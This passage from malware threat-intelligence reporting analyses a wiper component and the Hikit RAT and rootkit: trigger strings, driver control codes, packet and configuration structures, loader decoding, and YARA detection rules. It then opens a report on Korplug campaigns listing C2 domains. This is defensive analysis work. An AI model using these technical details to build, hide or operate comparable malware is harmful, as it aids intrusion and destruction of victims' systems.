extracting these connection and server details, the dropper uses the previously dropped alg. exe and conime.exe to attempt to connect remote servers, upload and run the bash script ~pr1.tmp. The bash script initially checks which UNIX it is running on (of HP-UX, SunOS, Linux, or AIX) and then attempts to wipe the /kernel, /usr /etc and /home directories, thus rendering the machine inoperative. Win32 Wiper component When the AgentBase.exe component is executed, it first attempts to stop the following processes, presumably in order to evade detection: pasvc.exe policy agent from AhnLab clisvc.exe ViRobot ISMS from Hauri It then enumerates all physical drives and overwrites the first 512 bytes with the string: princpes , effectively destroying the MBR (master boot record) of the affected drive. It continues to look for removable and fixed drives, locates the root directory on these drives, and then attempts to delete all files and folders in this directory. Finally, the affected computer is shut down and rebooted, although if the wiping mechanisms were successful then the machine will not be able to boot. Learn more at hp.com/go/hpsr Hikit Analysis Basic Description Hikit consists of at least two generations of malware that provides basic RAT functionality. The first generation of Hikit (referred to as Gen 1 ) operates as a server and requires an externally exposed network interface in order for an attacker to access the victim machine. The second generation of Hikit (referred to as Gen 2 ) uses the more traditional client model and beacons out to an attacker s C2 server. While the communication models shifted dramatically between Gen 1 and Gen 2, both generations of Hikit retain the same basic RAT function consisting of remote command shell, file management, network proxy and port forwarding. Both Gen 1 and Gen 2 sub-families of Hikit consist of a main DLL (referred to as the DLL ) that contains the RAT functionality; a kernel driver (referred to as the Driver ) with Gen 2 also employs an additional component: a loader executable. The driver component of Gen 1 and Gen 2 are drastically different in their operation and intent. For the Gen 1 sub-family of Hikit, the driver acts as a NDIS (network) driver that is responsible for interfacing the DLL to the network while preventing a direct WinSock interface from occurring. The Gen 1 Driver listens to network traffic arriving at the local network interface and waits for a specific trigger string. The trigger string varies by Driver and DLL sample. The Gen 2 Driver is a simpler system driver that acts as a rootkit to hide processes, registry keys and network connections associated with Gen 2 activity on the victim s system. Gen 2 uses a standard client-server malware model meaning that the malware no longer requires a direct Internet-facing network card, no longer uses a network driver for networking, and provides the ability to network multiple Gen 2 samples behind a firewall with greater ease (from the attacker perspective). The Gen 2 sub-family, however, no longer employs network stealth provided by the Gen 1 network driver which exposes the C2 server addresses to analysts. Each of the Hikit generations contains multiple sub-generations as the author(s) of Hikit have evolved their code over time. There is a noticeable steep improvement over the code base of Gen 1 Hikit family during its 2011 development period. The Gen 2 sub-generations share a similar improvement scale between late 2011 and late 2013. Evolution The earliest known Hikit sample dates back to 31 March 2011. Known as the Gen 1.0 sub-generation of Hikit Gen 1, the first known sample of Hikit deviated from the later traditional Gen 1 model. The Gen 1.0 sample was a standalone executable whereas subsequent Gen 1 sub-generations use a DLL running as a service. The Gen 1.0 sample is clearly a work-in-progress. The Gen 1.0 sample, while different than subsequent sub-generations, does still rely on the Driver component and for the most part the structure of the code does not differ much going forward into the Gen 1 evolution. Less than three weeks after Gen 1.0, the author(s) of Hikit move into Gen 1.1. The notable change is that the Hikit model of using a DLL and driver, which has remained until present day, comes into being. The code matures slightly between Gen 1.0 and Gen 1.1 but the functionality does not change. Both Gen 1.0 and Gen 1.1 use plaintext data transmissions. Development appears to halt on Gen 1 for 4 months between 20 June 2011 and 23 October 2011 based on a lack of available samples found. During this time the development of Hikit appears to change locations. Gen 1 samples have Program Database (PDB) file strings that identify the file path of the Hikit source code. For Gen 1.0 and Gen 1.1 samples, the file path of the Hikit source code is consistently h:\JmVodServer\hikit. Starting with Gen 1.2, the file path switches to e:\SourceCode\hikit_new. It is at this time that the functionality of Hikit Gen 1 begins to mature. In Gen 1.2, the communication between the infected machine and the attacker is encrypted using an XOR mask. A more subtle change is the renaming of the socks5 command to simply proxy within the code. The code within Hikit begins to mature but the overall functionality does not expand beyond the original set of commands found in Gen 1.0. The other remarkable change within the Gen 1.1 to Gen 1.2 development is the way in which the session handshake trigger operates. In Gen 1.0 and Gen 1.1, the DLL instructs the Driver to listen for a specific string (typically a HTTP request string) and responds with another string. In Gen 1.2, the Driver has a hardcoded trigger string (a specific HTTP request string) and the DLL instructs the Driver to inspect a specific HTTP header field for a specific hexadecimal value. This moves Gen 1.2 into more of a username/password authentication scheme whereas previous sub-generations could potentially be accessed by accidental HTTP requests. At the same time, the Driver responds with a specific value with in the Etag HTTP header field. This places Gen 1.2 into a more stealth position as a random, non-HTTP compliant response from Gen 1.0 and Gen 1.1 samples is more obvious than a legitimate HTTP response with a specially crafted Etag header. Gen 1.2 s development cycle appears to exist between 23 October 2011 and 2 November 2011 with several new samples being found on the Internet having legitimate compile times during this time window. There is, however, evidence that the development of Hikit Gen 1 and Gen 2 overlap by several months. The earliest Gen 2 sample known to exist dates to 28 August 2011, two months before the first known Gen 1.2 sample. The last known Gen 1.2 sample, and by extension, the last known Gen 1 sample, dates to 9 April 2012. The first known Gen 2 sub-generation, Gen 2.0 Alpha, much like Gen 1.0, represents an early development version of the Gen 2 Hikit sub-family. Gen 2.0 Alpha is a stand-alone Windows console executable that can run as a service executable. Gen 2.0 Alpha supports the same commands as Gen 1.2 with an additional command that returns the infection s configuration information. On 9 February 2012 the first known sample for Gen 2.0 Beta is compiled by the developer(s) of Hikit. Also a stand-alone console executable like Gen 2.0 Alpha, the Gen 2.0 Beta code changes internally without providing significant functionality improvements with the exception of now the executable uses a device driver to hide network, file, and registry artifacts related to its operation. Both Gen 2.0 Alpha and Gen 2.0 Beta still retain PDB file path information within their binaries. During the development phase of Gen 2.0 Alpha, development of the Gen 2.0 Alpha variants changes locations. First version of the Gen 2.0 Alpha malware, from 28 August 2011, has the PDB path located in H:\JmVodServer\Matrix_new2 whereas the file path for later Gen 2.0 Alpha and Gen 2.0 Beta binaries has the PDB path in E:\SourceCode\Matrix_new which suggests that the source code for both Gen 1 and Gen 2 existed on the same machine and moved at roughly the same time. This may indicate either a single developer or a team (or set of teams) with shared resources. The first known Gen 2.1 binary has a compile date of 17 April 2012. Gen 2.1 represents the first Gen 2 sub-generation to use an executable-based loader, DLL and driver model, a model that all subsequent Gen 2 sub-generations employ. The functionality of the Gen 2.1 sub-generation is the same as the previous generations with no new commands being introduced. Gen 2.1 is the first sub-generation in the Gen 2 sub-family to introduce 64-bit binaries. The Gen 2.2 sub-generation appears to have begun on 20 July 2012. Gen 2.2 is notable for altering where the configuration information of the RAT is stored and using both DLL-based and executable- based loaders. Also notable is the fact that the sub-generation spans a significant amount of time with intermittent periods of development. The bulk of the Gen 2.2 samples that have the tell-tale marks of being the product of a builder have a compile date of 26 July 2013, a full year after the first known Gen 2.2 sample. Between 21 July 2012 and 20 February 2013, there are no known Gen 2.2 binaries. The two 20 July 2012 samples have different compile times indicating they were not the product of a builder but rather unique compilations. Between 21 February 2013 and 27 February 2013, there are 4 unique compilation dates for the DLL component with 7 unique, known Gen 2.2 DLLs. The bulk of Gen 2.2 samples have a compile date of 26 July 2013. There are approximately 25 known Gen 2.2 DLLs with the 26 July 2013 compile date. The Gen 2.2 sub-generation appears to exist through at least 19 September 2013. The last known Gen 2 sub-generation, Gen 2.3, began on 12 December 2013. Gen 2.3 is notable for its use of a legitimate SSL certificate as part of the handshake between the infected machine and the attacker s C2. The DLL will send a legitimate SSL certificate as a means to disrupt heuristic IDS sensors that look for encrypted traffic. Another interesting aspect of the Gen 2.3 sub-generation is that there is no longer a marker to designate the beginning of the embedded configuration. Gen 2.1 and Gen 2.2 uses a specific string to indicate the beginning of the embedded configuration presumably in order to allow the builder to locate the configuration space when constructing a new configuration for the binaries. Gen 2.3, however, uses a specific location instead, requiring the builder to calculate the specific location using the PE/COFF header of the binary. Also, while Gen 2.1 and Gen 2.2 retain the configuration within the DLL component, Gen 2.3 stores the configuration within the loader component. This allows the attackers to configure the loader without having to update the DLL. The evolution of Hikit is a long and drawn out series of small, incremental development changes. The important take away from the evolution of Hikit is that the developers for Gen 1 appear to have changed in late 2011 and development of Gen 2 has a several month overlap with the development and usage of Gen 1. The following table provides a quick reference to the generational (and sub-generational) designations of Hikit. August 28, 2011 Timeline Outlined in Appendix A: HiKit Versions The Driver The Driver component for Hikit varies based on the specific Hikit sub-family (Gen 1 or Gen 2). As such it is necessary to describe each in the context of its specific sub-family. Gen 1 Driver The Driver component of Gen 1 Hikit variants provides the interface between the victim s network interface card (NIC) and the DLL. The Driver is a NDIS (network) driver that integrates into the victim network stack. The Driver intercepts any and all network communication that traverses the Windows network stack and potentially removes the data from the network stack under very specific conditions. When the Driver removes data from the network stack, the Driver stores the removed data in local buffers for the Gen 1 DLL to query against. The purpose of this behavior is to allow the DLL to interact with the network without utilizes the WinSock API which could potentially reveal the presence of Hikit. In order to interact with the Driver, the DLL uses the function IoDeviceControl to send commands to the Driver. The Driver registers itself at both \Device\w7fw \DosDevices\w7fw thereby allowing the DLL to access the Driver by performing a CreateFile request to \\.\w7fw \\.\Globals\w7fw in order to obtain a handle to the Driver. The Driver s interface supports the following OIDs: OID Function 0x12C828 No-op 0x12C82C Retrieves bytes from the recv queue. 0x12C830 Add bytes to the xmit queue. 0x12C838 Set key value (the trigger value) 0x12C840 Change mode for current process s channel to 2 0x12C844 Activates channel 0x12C848 Shuts down a channel by flushing all queued packets/data to the network with ACK|FIN set in the flags 0x12C84C Returns the current mode for a given channel 0x12C850 Get the Driver s version The Driver will remove data from the network stack only if a new channel is being established. A new channel occurs when the Driver detects a trigger string. The trigger string is typically a short form HTTP request with the following trigger strings found in the wild: Generation(s) Trigger String Authentication Response Value Value Gen 1.0, 1.1 GET /password .welcome. HTTP/1.1\r\n\r\n Gen 1.2 GET / HTTP/1.1\r\n 75BCD15 HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html ETag: "{other digits}75BCD15{other digits}:{3 hex digits}" Connection: Keep-Alive Gen 1.2 POST / HTTP/1.1\r\n 75BCD15 HTTP/1.1 200 OK Pragma: no-cache Content-Type: text/html ETag: "{other digits}75BCD15{other digits}:{3 hex digits}" Connection: Keep-Alive Up to and including Gen 1.1 Drivers required the DLL to specify the trigger string in addition to the authentication value whereas Gen 1.2 Drivers had the trigger strings hardcoded. In Gen 1.2, whenever the Driver detects a trigger string, the Driver inspects the rest of the data received for the authentication value. If the token follows the trigger string (there is no specific limitation on how far from the trigger string the password token must be), then the Driver generates a new channel that the DLL will use as the conduit between the DLL and the client. The Driver appears to be based off the NDIS example source code PassThru. More specifically, the author(s) of the Driver appear to have used the modified version of the PassThru example, PassThruEx, by James Antognini and Thomas Devine from a 2003 blog post1. Gen 2 Driver The Gen 2 sub-family, beginning with Gen 2.0 Beta, employs a Windows device driver ( the Driver ) to hide aspects of the DLL s functionality from normal system processes. The Driver is a relatively straightforward piece of software. It does not attempt to obfuscate its functionality from static analysis and it hooks a minimum number of kernel API functions in order to hide different pieces of information. The Driver is based primarily on the open source Agony rootkit2 and it has evidence of some portions of the code coming directly from a Chinese blog3. The Driver expose an IOCTL interface that supports the following OIDs: OID Function 0x22C000 Add driver (system module) to hide. 0x22C004 Reveal all hidden items. 0x22C008 Add IP:Port endpoint to hide. 0x22E000 No-Op 0x22FFD0 Remove PID from hidden list. 0x22FFD4 Add PID to list of PIDs to hide. 0x22FFD8 Add service to list of services to hide. 0x22FFE0 Add local port to list of ports to hide. 0x22FFE4 Currently unused. Evidence suggest this was previously a port hiding function, but it is no longer functional. 0x22FFE8 Currently unused. It is unclear the purpose of this function. It takes a string as its argument. 0x22FFEC Add directory to list of directories to hide. 0x22FFF0 Add registry key to list of registry keys to hide. 0x22FFF4 Add registry key value to list of registry values to hide. 0x22FFFC Purge all hooks and hidden items ("unhook") The Driver is capable of hiding processes (by PID, not name), system modules, services, network connections, listening ports, directories (and by extension, files), as well as registry keys and values. In order to hide these items, the Driver hooks various Windows Kernel API calls. The following table maps the items the Driver can hide to the API function that the Driver hooks: Item API Function Hooked Process ID ZwDeviceIoControlFile (PID) Registry Key ZwEnumerateKey Registry Value ZwEnumerateValueKey Directory QueryDirectoryFile James Antognini Thomas Divine. Extending Microsoft PassThru NDIS Intermediate Driver Parts: Address Blocking NDIS Drivers December 2003 pudn. Agony Rootkit code, stability useful Driver Develop http://en.pudn.com/downloads74/sourcecode/windows/vxd/detail265112_en.html. April 2007. CardMagic. [Reserved] Module Hook: Hiding Port Under Windows Vista http://forum.eviloctal.com/archiver/tid- 29604.html. July 2007. Item API Function Hooked Local Listening ZwDeviceIoControlFile Port Remote ZwDeviceIoControlFile Endpoint Loaded Drivers ZwQuerySystemInformation In order to hide services, the Driver will access the memory of the services.exe process, locate the linked list of services and remove the service entry that the Driver wishes to hide. This is a surprisingly invasive method to obfuscate a process. Upon activation, the Driver will expose its interface by calling IoCreateDevice with the name \Device\agony (for Gen 2.0 Beta samples), \Device\HTTPS (for Gen 2.1 samples), \Device\advcachemgr (for Gen 2.2 samples) or \Device\diskdump (for Gen 2.3 samples). The Driver also creates a symbolic link to the device using the same name but under the \DosDevices\ tree. For reasons unknown, the authors of the Driver used code from a Chinese blog that details how to hide network connections on Windows Vista and later decided to keep the example IP address within the code. Functionality and Commands The Hikit family has supported roughly the same set of commands since the first known samples of Gen 1.0. Gen 2.0 introduced a single command to provide insight into an infected machine s Hikit configuration (something that is not necessary for Gen 1 variants since they are server-based). The RAT supports the following commands: Command Introduced Description shell Gen 1.0 Establishes a remote command shell on the victim machine file Gen 1.0 File managerment connect Gen 1.0 Establishes a tunnel connection (e.g. port forwarding) through another Hikit sample socks5 Gen 1.0 Establishes a forwarding proxy (retired in Gen 1.2) proxy Gen 1.2 Establishes a forwarding proxy information Gen 2.0 Returns the configuration for the Hikit infection Alpha exit Gen 1.0 Terminates a channel Command: shell shell command activates a remote shell on the victim s computer. The remote shell function uses the standard pipe redirection method for interfacing a network application (in this case, the DLL) to a hidden command shell. Command: file file command provides an attacker with a variety of disk access options such as listing directories, changing the current directory, and uploading and downloading files. Command: connect connect function provides the functionality to allow one Hikit DLL to interface with another DLL of a similar version. The use of this functionality can best be illustrated by considering the fact that the Gen 1 Driver requires an exposed network interface in order for an external attacker to access the Gen s RAT function. This would prohibit lateral movement within a victim s network as the bulk of any organization s network infrastructure is not directly exposed to the Internet. By using the connect command, an attacker can instruct the externally exposed Gen 1 DLL to route traffic to a Gen 1 DLL that is behind the firewall, effectively making the externally exposed Gen 1 DLL a local router for Hikit traffic. Command: proxy (Gen 1.2 and later), socks5 (Gen 1.0 and 1.1) proxy socks5) command allows an attacker to utilize a Hikit-infected machine as a proxy. Command: information Gen 2 samples rely on a configuration in order to know where the C2 server exists along with other operational aspects such as the name of its service and operational times. This information is important for the attacker to have access to in order to determine if any aspect of the configuration is out of date (thus requiring a new variant of the Gen 2 binary to be configured and deployed). The information command returns to the attacker the complete configuration and current state of the Gen 2 malware. Command: exit As the name implies, the exit command causes the DLL to discontinue the current connection. Hikit Core Analysis With the Gen 1 sub-family using a server model and the Gen 2 sub-family using the client model, understanding how each of the DLL components of the sub-families works is best done, as with the Driver above, in the context of the specific sub-family. Gen 1 Analysis As noted previously in this report, the Gen 1 sub-family has several sub-generations but overall the functionality of the Gen 1 sub-family has remained constant. With the exception of Gen 1.0, the functionality of Gen 1 comes from the DLL component (Gen 1.0 uses a stand-alone executable to achieve the same results). The DLL operates as a service, requiring an attacker is install the DLL as a service at some point prior to activation. The DLL contains only two exports: DllEntryPoint DllRegisterServer. Ultimately, both exports generate a new thread of the same function mainThread ). The difference between the two exports is that DllRegisterServer can take an optional command line argument of the letter which will instruct the main thread to uninstall the Gen 1 system from a victim s computer. If the uninstall argument exists, mainThread will simply remove the Driver from the victim s machine and terminate. The authors of Gen 1 used freely available source code found online for their removal function.4 PCAUSA. Programmatically Installing NDIS Protocol Drivers http://www.ndis.com/ndis- general/ndisinstall/programinstall.htm. December 2013. When the DLL activates, either by a call to DllEntryPoint or by calling DllRegisterServer without the u parameter, mainThread begins by verifying the version of the Driver installed on the victim s machine. This requires sending OID 0x12C850 to the Driver and comparing the resulting 32-bit value with the required driver version. If the version is incorrect (i.e. it doesn t match the specified version), the DLL installs the version of the Driver found within the DLL s resource section (under the resource tree). With the Driver version verified (or forcibly corrected by installing the appropriate Driver), the DLL will instruct the Driver to use a specified string (for Gen 1.0 and Gen 1.1 samples) or a DWORD (for Gen 1.2 samples) as the acknowledgment value to send to a connecting client who requests the appropriate URL. The DLL again checks the version of the Driver and, in some versions of the DLL, will print a message indicating the version of the Driver installed and report the Transate version (the word translate is misspelled within the binary). It appears that the Driver and the communication protocol version do not necessarily have to match exactly, allowing the possibility that the Driver and the DLL could be compiled at separate times. If the Driver version is less than the Transate version (indicating that the Driver is a version too old to support the necessary communication protocols), the DLL will, in some version of the DLL, print out a line to the screen indicating the DRIVER_MIN_VERSION required along with the current Driver version. Following this, the DLL will then attempt to install the correct version of the Driver prior to terminating. It is unclear why this code exists given that the DLL will check the Driver version and correct the Driver if necessary prior to reaching the portion of the code that reports the DRIVER_MIN_VERSION. It is possible that the second Driver version check is a last ditch effort to ensure the correct Driver is installed. The DLL enters an infinite loop where the DLL waits for the Driver to report a new channel exists. A channel represents an established connection between the Driver and an external party that has provided the proper initial request and, for Gen 1.2 variants, provided the proper authentication value. When the Driver establishes a new channel, the DLL generates a runtime data structure before generating a new thread ( HikitThreadFunc ) which will service any request coming from the new channel. This allows the DLL to service multiple channels at one time. The HikitThreadFunc function is, at its core, a simple wait and respond loop. The function begins by transmitting a Hikit command prompt to the client (Hikit>) before settling into an infinite loop of Read data from channel (wait until data is available) [For Gen 1.2] Decrypt the packet header Verify the packet header to ensure the communication version is correct and the payload data size is non-zero Read the remainder of the packet (e.g. the payload portion) If the packet type field (dwPacketType) is zero, send the payload section to the command processor. Send the Hikit prompt The communication scheme between the DLL and the client consists of a 20 to 24 byte header (for Gen 1.0 and Gen 1.1) or a 28 byte header (for Gen 1.2) followed by an optional payload. The format of the Gen 1.0 and Gen 1.1 header is as follows: struct PacketHeader char magic[5]; char zeros[3]; DWORD dwHikitVersion; DWORD dwCmdType; DWORD dwLocale; // omitted in some Gen 1.0 variants DWORD dwPayloadSize; While the Gen 1.2 header is: struct PacketHeader DWORD key; DWORD dwHikitVersion; DWORD dwPacketType; DWORD dwLocale; DWORD dwCodePage; DWORD dwPayloadSize; For Gen 1.0 and Gen 1.1 samples, the magic field contains the string .. .. (two dots followed by a space then two more dots). Whereas the key field in Gen 1.2 samples contains a 32-bit value that represents the XOR key for the remainder of the PacketHeader and any additional payload data. The XOR scheme works on 32-bit chunks of data where each 32-bit chunk of data is XOR d against the key value. Version checking is important in all Gen 1 variants. The dwHikitVersion field allows the client and the DLL to ensure that they have a compatible communication scheme in place prior to executing commands. Gen 1 samples have a particular interest in the victim s locale language preferences. While it is typical for most RATs that provide remote shells to simply pass data unfiltered from client to server and server to client without regard to code pages, Gen 1 samples take special care to record the code page and locale information in each and every packet header that traverses the divide between client and server and server and client. This could indicate that the authors of Gen 1 understood from an early stage in the development of Gen 1 that they would be attacking computer systems with different locales and code pages. Gen 2 Analysis The Gen 2 sub-family, like Gen 1.2, uses a DLL for the core of its RAT functionality. In order for the DLL to load, Gen 2 (starting with Gen 2.1) uses a loader application (referred to simply as Loader ). The Loader comes in the form of a standard executable image or a DLL image. Despite the different models, both variants of the Loader load the embedded DLL in the exact same way. The only difference between the executable and DLL versions of the Loader comes in how they handle the initialization of the embedded DLL. Figure 1: DLL (left) and executable (right) Loader startup routines Figure 1 provides a side by side comparison of the startup routines for the executable and DLL Loaders. Both versions of the Loader begin by loading the embedded DLL from the Loader s resources (item 102 under the Group Icons resource tree), decrypting and decompressing the image into memory, then manually loading the DLL into memory using a custom loading routine. The function LoadEmbeddedImage, as seen in part in Figure 2, is responsible for this operation. Figure 2: LoadEmbeddedImage function snippet The Loader obfuscates many strings by using a simple XOR encoding scheme. Decryption of encoded strings consists of taking the first value of the string as the XOR key, XOR ing all subsequent bytes until the result of the XOR returns 0. The decoding of the encoded strings is handled by the DecodeString function. The Loader stores the embedded DLL within a Group Icon resource within a legitimate icon image. In order to locate the embedded DLL, LoadEmbeddedImage will use the DecodeString function to decrypt the delimiter string (which is typically zzzzzzzzzz yyyyyyyyyy) and then search the icon resource memory for the delimiter string. Once located, LoadEmbeddedImage will use the first 12 bytes immediately after the string as the information structure about the embedded DLL. The structure (seen below) defines the size of the embedded DLL within the icon s resource memory, the size of the DLL after it is decompressed and a 4-byte XOR key that LoadEmbeddedImage must use to decode the embedded DLL prior to decompression. struct ImageHeader { DWORD dwImageEncodedSize; DWORD dwImageSizeDecompressed; DWORD EncodingKey; }; LoadEmbeddedImage copies the compressed embedded DLL into a newly allocated heap buffer and then calls the function decodeBuffer (using the EncodingKey value) to decrypt the embedded DLL. Another heap buffer is allocated with a size equal to the value of dwImageSizeDecompressed. decompression buffer along with the now decoded compressed buffer are given to lzo_decompress which decompresses the compressed image using the LZO1X algorithm5. With the embedded DLL now decompressed into a heap buffer, LoadEmbeddedImage calls ImageLoaderData::LoadDll to manually load the DLL into memory. ImageLoaderData::LoadDll interprets the PE/COFF header of the DLL image, loads the image into the appropriate memory configuration, performs the necessary relocation operations, and calls the DllMain (DLL s entry point) function. After loading the embedded DLL image into memory, the Loader will either call the DLL StartServer MatrixMain function depending on the type of Loader. The standalone Loaders use MatrixMain function while the DLL Loaders will call the StartServer function. The Loaders, upon unloading, will call the StopServer function in order to shut down the embedded DLL. The Gen 2 DLL exposes five exported functions (besides the DllEntryPoint/DllMain). Export Name Description DllRegisterServer If the Gen 2 RAT is running, waits for the RAT to shut down before returning. MatrixMain Activates the Gen 2 RAT (called from a stand-alone Loader) SetModuleHandle The given parameter becomes the new module handle for the RAT. StartServer Activates the Gen 2 RAT (called from a DLL Loader) StopServer Stops the Gen 2 RAT (called from a DLL Loader) MatrixMain StartServer both ultimately generate a new thread (using the POSIX API function beginthreadex instead of the more common CreateThread) that contains the main loop of the Gen 2 RAT functionality. MatrixMain, however, has added functionality. The prototype for MatrixMain is as follows: int MatrixMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)) Markus F.X.J. Oberhumer, real- time data compression library http://www.oberhumer.com/opensource/lzo/. June 2014. where Arguments parameter can be: Arguments string Purpose test {DWORD identifier (IP?)} Overrides the current configuration with the given {listening Port} [C2 address] [C2 port] settings. The C2 arguments are optional. i Installs trojan service u Uninstalls the trojan service s Sets the SHOW flag for the service to instruct the Driver to reveal the service. h Sets the HIDE flag for the service to instruct the Driver to hide the service. q Sets the STOP flag for the RAT. If the i parameter is given, the DLL will install itself as a service on the victim s machine. The DLL will create a new service (e.g. Network DDE Service ) and assign itself as the executable for the service. The DLL s RAT functionality provides basic features such as network port forwarding (proxying), file transfer, and remote command shell. The RAT functionality provides an attacker with the ability to establish a phantom network within a victim s infrastructure by having individual instances of Gen 2 DLL listen for incoming connections on local ports (presumably, NAT d ports) and accept commands from the inbound connection. This allows an attacker to establish several Gen2 infections within a victim infrastructure and if outbound connectivity is prohibited for any of the infected machines, the attacker can route commands to the pseudo-isolated infections through accessible infected machines providing a high level of persistence to the malware. Each Gen 2 infection can support up to 10 listening ports. The communication between the Gen 2 malware and the C2 (or other Gen 2 malware, in the case of the internal routing functionality) is encrypted using a simple DWORD XOR scheme. Each communication burst (either between the malware and the C2 or the malware and neighboring malware) begins with a 24-byte header identical to the header found in Gen 1.2. Immediately following the header is the type-specific (as indicated by the dwPayloadType field) payload data. Note that the dwXORKey value is NOT encoded with the XOR value, but rather is the value that is used for encoding the header and payload. Each DLL includes a hardcoded, default configuration. At the time that the RAT functionality activates, the DLL will drop the current configuration to disk. If the configuration file already exists, then the RAT will use the file version of the configuration over the default configuration. The configuration data structure (seen below) doubles as a current state record for some aspects of the communication subsystem of the DLL. When stored on disk, the configuration is preceded by a GUID value (16 bytes) that represents the unique identifier for the specific infection. The configuration is XOR encoded using the first 4 bytes (as a DWORD) of the GUID. struct Config { WCHAR wszComment[32]; C2ConfigInfo arrC2s[2]; ListeningPortConfig ListeningPorts[10]; int dwStartTime; int dwEndTime; __int16 Flags; SYSTEMTIME sleepUntil; __int16 unused_align2_2; int fRunHidden; }; struct C2ConfigInfo { WCHAR wszAddress[32]; __int16 wPort; __int16 unused_align2; int fValidC2; }; struct ListeningPortConfig { unsigned __int16 wPort; unsigned __int16 unused_align2; int fReady; SOCKET hSocket; HANDLE hEvent; HANDLE hListenerThread; }; In order to provide some level of stealth, the RAT will install a rootkit on 32-bit versions of Windows. The DLL contains a device driver image embedded within an encoded buffer which the RAT functionality code will extract to the %TEMP% directory (after XOR ing the buffer with 0x76). To activate the rootkit, the RAT functionality code creates a service with the driver in the %TEMP% directory as the executable for the service. The RAT functionality code then activates the service and opens a handle to device driver s interface (e.g. \Globals\HTTPS). With the handle open to the rootkit driver, the RAT functionality code deletes the service in order to reduce the visible footprint of the new driver. To further reduce the footprint of the driver, the RAT functionality code also uses the cloaking functionality of the rootkit to hide the DLL s PID, any references to the GUID {4AE26357-79A3-466D-A6D9- FC38BFB67DEA}, the DLL s service names (e.g. NetDDESrv and "Network DDE Service") and the service entry as well. Additionally, the code also attempts to hide a service named Hitx Support Software In addition to the main Hikit malware, there are at least two examples of support programs that belong to the Hikit family. Samples b04de6c417b6f8836e3f2d8822be2e68f4f9722b and 7c4da9deff3e5c7611b9e1bd67d0e74aa7d2d0f6 are examples of Gen 1.0 and Gen 1.2 operator consoles. The console is a text based application that takes a Gen 1.0 or Gen 1.2 infection s IP address and proceeds to connect and authenticate with the infected server. Once connected, the operator has the basic Hikit functionalities available to them via commands such as file and shell. Detection Detecting Hikit variants on disk and in memory is possible using the following YARA signature developed by Symantec: rule hikit strings: $hikit_pdb1 = /(H|h)ikit_/ $hikit_pdb2 = "hikit\\" $hikit_str3 = "hikit>" wide $driver = "w7fw.sys" wide $device = "\\Device\\w7fw" wide $global = "Global\\%s__HIDE__" wide nocase $backdr = "backdoor closed" wide $hidden = "*****Hidden:" wide condition: (1 of ($hikit_pdb1,$hikit_pdb2,$hikit_str3)) and ($driver or $device or $global or $backdr or $hidden) rule hikit2 strings: $magic1 = {8C 24 24 43 2B 2B 22 13 13 13 00} $magic2 = {8A 25 25 42 28 28 20 1C 1C 1C 15 15 15 0E 0E 0E 05 05 05 condition: $magic1 and $magic2 rule hidkit strings: $a = "---HIDE" $b = "hide---port = %d" condition: uint16(0)==0x5A4D and uint32(uint32(0x3c))==0x00004550 and $a and $b Detecting nominal Gen 1.2 and later network activity is problematic given the nature of the communication structure. The encrypted nature of the nominal Gen 1.2 and later network traffic makes a signature difficult. Snort signature 30948 may detect some Hikit based network traffic for only Gen 1.0 and Gen 1.1. From a system objects perspective, Gen 2 samples produce up to three named events. The event names change per infection, but have a common format. The following three strings represent the known mutex strings for Gen 2 samples: Global\%s__SHOW__ Global\%s__HIDE__ Global\%s__STOP__ where the %s format variable is replaced with a UUID value string specific to the infected machine. Appendix A: HiKit Versions Generation Starting Date Notable Features Identifier Gen 1.0 31 March 2011 First known Hikit samples. Stand-alone console executable. Gen 1.1 18 April 2011 Uses DLL and driver model. Gen 2.0 28 August 2011 First client-based Hikit variants. Stand-alone console Alpha executable. Does not use a device driver. Encrypted communication. Gen 1.2 23 October 2011 Command socks5 changes to proxy . Encrypted communication. Gen 2.0 27 February 2012 Introduces the use of the device driver. Beta Gen 2.1 17 April, 2012 First known production variant of the Gen 2 family. Uses the concept of the Loader, the DLL and the Driver as a complete system. Gen 2.2 21 February 2013 Changes storage location for configuration file. Largely similar to Gen 2.1. DLL-based and executable-based loaders. Largest in-service time span. Gen 2.3 12 December Significantly more advanced authentication when doing intra- 2013 malware communication. Use of SSL certificate during handshake. Korplug military targeted attacks: Afghanistan & Tajikistan After taking a look at recent Korplug (PlugX) detections, we identified two larger scale campaigns employing this well-known Remote Access Trojan. This blog gives an overview of the first one, related to Afghanistan & Tajikistan. The other campaign, where the targets were a number of high-profile organizations in Russia, will be the subject of Anton Cherepanov s presentation at the ZeroNights security conference in Moscow this week. Sometimes malware used in various attacks is unique enough to identify related incidents, which makes tracking individual botnets simpler. An example is the BlackEnergy Lite variant (also known as BlackEnergy 3) used by a group of attackers (that was then given the name Quedagh, or Sandworm) against targets in Ukraine and other countries. BlackEnergy Lite is clearly distinguishable from the numerous binaries of the more common BlackEnergy 2 also circulating in-the-wild. In other cases, attackers use more common tools for accomplishing their criminal goals. For example, the Korplug RAT (a.k.a .PlugX) is a well-known toolkit associated with Chinese APT groups and used in a large number of targeted attacks since 2012. For the past several weeks we have taken a closer look at a great number of detections of this malware in many unrelated incidents. Among these, we were able to discover several successful infections where the employed Korplug samples were connecting to the same C&C domain. DOMAIN: www.notebookhk.net Updated Date: 2013-11-12 18:03:45 Create Date: 2013-06-18 11:08:17 Registrant Name: lee stan Registrant Organization: lee stan Registrant Street: xianggangdiqu Registrant City: xianggangdiqu Registrant State: xianggang Registrant Postal Code: 796373 Registrant Country: HK Registrant Phone : +0.04375094543 Registrant Fax: +0.04375094543 Registrant Email:stanlee@gmail.com Other Korplug samples were connecting to a different domain name resolving to the same IPs as notebookhk.net: DOMAIN: www.dicemention.com Updated Date: 2013-11-12 18:05:33 Create Date: 2013-09-10 14:35:11 Registrant Name: z x Registrant Organization: z x Registrant Street: xianggangdiqu Registrant City: xianggangdiqu Registrant State: xianggang Registrant Postal Code: 123456 Registrant Country: HK Registrant Phone : +0.0126324313 Registrant Fax: +0.0126324313 Registrant Email: 123@123.com DOMAIN: www.abudlrasul.com Updated Date: 2014-10-16 14:16:27 Create Date: 2014-10-16 14:16:27 Registrant Name: gang xin Registrant Organization: gang xin Registrant Street: Argentina Argentina Registrant City: Argentina Registrant State: Argentina Registrant Postal Code: 647902 Registrant Country: AR Registrant Phone : +54.0899567089 Registrant Fax: +54.0899567089 Registrant Email: woffg89@yahoo.com Taking these C&Cs as a starting point, we were able to locate a number of victims infected through various exploit-laden spear-phishing documents and cunningly-named archives. A table with a selection of RTF documents and RAR self-extracting archives with a .SCR extension is shown below: English File name SHA1 